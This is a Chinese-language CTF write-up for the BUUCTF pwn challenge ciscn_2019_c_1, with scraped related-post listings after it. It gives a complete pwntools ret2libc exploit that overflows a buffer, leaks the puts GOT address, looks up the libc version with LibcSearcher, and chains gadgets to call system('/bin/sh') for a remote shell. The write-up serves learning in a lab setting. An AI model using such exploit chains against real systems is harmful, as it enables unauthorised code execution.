经典ret2libc,着实恶心到我了。前后捣鼓了将近3、4个小时,勉强把原理理解透彻。
边做题边C语言:艹!



输入字符串s加密逻辑:
1、如果是小写字母跟0xD异或
2、如果是大写字母跟0xE异或
3、如果是数字跟0xF异或
[ASCII码对照表]:(http://c.biancheng.net/c/ascii/)


LibcSearcher工具:https://github.com/dev2ero/LibcSearcher

from pwn import *
from LibcSearcher import *context(os = 'linux', arch = 'amd64', log_level = 'debug')# io = process('ciscn_2019_c_1')
io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')
// 本地换了多个版本libc打
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400c83
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9io.sendlineafter('Input your choice!\n', '1')
// '\0'用来strlen函数绕过,防止输入加密字符串s被加密,第一个payload用来获得libc
# payload = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
# io.recvuntil('Ciphertext\n')
io.recvline()
io.recvline()
// 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分。
# puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
# puts_addr = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))// 工具获取libc版本号并计算偏移值,然后计算后门函数内存地址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
// 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()io.sendlineafter('Input your choice!\n', b'1')
// 第二个payload用来获取shell,高版本libc加上ret来平衡堆栈。
payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)# io.shutdown('send')
io.interactive()

[栈平衡和栈转移(Stack-Pivot) | 偏有宸机 (gitee.io)]:(https://oneda1sy.gitee.io/2020/02/24/stack-balance/)

思考:
1、32位和64位泄露libc的payload和shell的payload如何构造;
2、libc低三位决定版本号的原因:分页机制;
3、完整逆向程序,看懂代码逻辑;
4、栈平衡原理;
5、plt和got表,延迟绑定机制;
6、bug、bug、bug,炸裂再修补;
7、忍不住爆句粗口,

ciscn_2019_c_1相关推荐

  1. [BUUCTF-pwn]——ciscn_2019_c_1

    [BUUCTF-pwn]--ciscn_2019_c_1 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1 题目: 下载下来checksec一下 再IDA ...

  2. BUUCTF ciscn_2019_c_1

    一道积攒了很久才解出来的题,这道题大体不难,但是好多小细节呜呜呜.而且Libcsearcher里的libc库没更新(上篇博客讲了). 这道题是BUUCTF上的ciscn_2019_c_1.标准的64位 ...

  3. [buuuctf]ciscn_2019_c_1

    [buuuctf]ciscn_2019_c_1 解题思路 查壳 ida中查看逻辑等信息 脚本 解题思路 查壳 第一步也就是查壳,拖入软件中,之后获得到了这个是64位的软件. ida中查看逻辑等信息 先 ...

  4. Buuctf(PWN)ciscn_2019_c_1

    一个普通的小程序,给了3个选项来供我们选择; 在main函数进行分析,发现输入 1 是正确的通道; 点进去下面的encrypt() 加密函数; 在这里发现了 gets()溢出函数; 我们可以利用这个函 ...

  5. ciscn_2019_c_1 1

    payload构造 此题和之前总结的ret2libc题型相似,但是那个题是32位的,而此题是64位的.因此,payload的构造方式不一样. payload1 此时的esp正处于函数返回的状态,即从上 ...

  6. PWN-PRACTICE-BUUCTF-4

    PWN-PRACTICE-BUUCTF-4 ciscn_2019_en_2 bjdctf_2020_babystack not_the_same_3dsctf_2016 [HarekazeCTF201 ...

  7. PWN-PRACTICE-BUUCTF-2

    PWN-PRACTICE-BUUCTF-2 pwn1_sctf_2016 jarvisoj_level0 ciscn_2019_c_1 [第五空间2019 决赛]PWN5 pwn1_sctf_2016 ...

  8. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  9. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

最新文章

  1. 图像处理怎么学matlab,Matlab数字图像处理学习(1)-亮度变换
  2. python输出多行对齐_如何用python3输出print对齐?
  3. vue.js分页组件(新手学习记录)
  4. 【渝粤题库】国家开放大学2021春2312旅行社经营管理题目
  5. 作者:汪疆平(1970-),男,北明软件有限公司技术研究院高级工程师、副院长。...
  6. ubuntu 10.04   花屏   启动缓慢   处理办法
  7. Smarty模板引擎技术二
  8. 有感于“用界面线程去更新界面元素”
  9. java用cookie最新浏览商品_jQuery.cookie.js实现记录最近浏览过的商品功能示例
  10. 键盘向上箭头代码中怎么表示_Altium Designer中的快捷键汇总(收藏必备)
  11. 【操作系统】用户可通过三种方式使用计算机
  12. 130242014060-郑佳敏-第3次实验
  13. Spring设计模式之装饰器模式
  14. Qt QJsonObject QString QJsonArray 互转
  15. Windows Server 2008 R2远程桌面服务配置和授权激活
  16. 电赛-风力摆控制系统
  17. 区分单音节,双音节和多音节
  18. MODBUS CRC16 工具类
  19. 详解FindBugs的各项检测器
  20. 网络工程项目报价单应该怎么写?记住这6个步骤准没错!

热门文章

  1. java poi excel合并单元格 相同的列以及在有父级约束条件下合并二级列
  2. qq 游戏计算机内存不足,腾讯手游助手内存不足如何处理?内存不足处理方法介绍...
  3. 大数据和Hadoop平台介绍
  4. antd表格添加序号
  5. javaScript 在表格中序号实现自增
  6. Python数据清洗:strava运动跑步和骑行路径路线经纬度散点序列数据
  7. php编程计算长方体的的体积,长方体(体积)
  8. Mac苹果电脑调整磁盘区域大小
  9. 使用kindeditor中图片上传后插入不显示绝对路径的修改办法
  10. 办公室业务杂志办公室业务杂志社办公室业务编辑部2022年第18期目录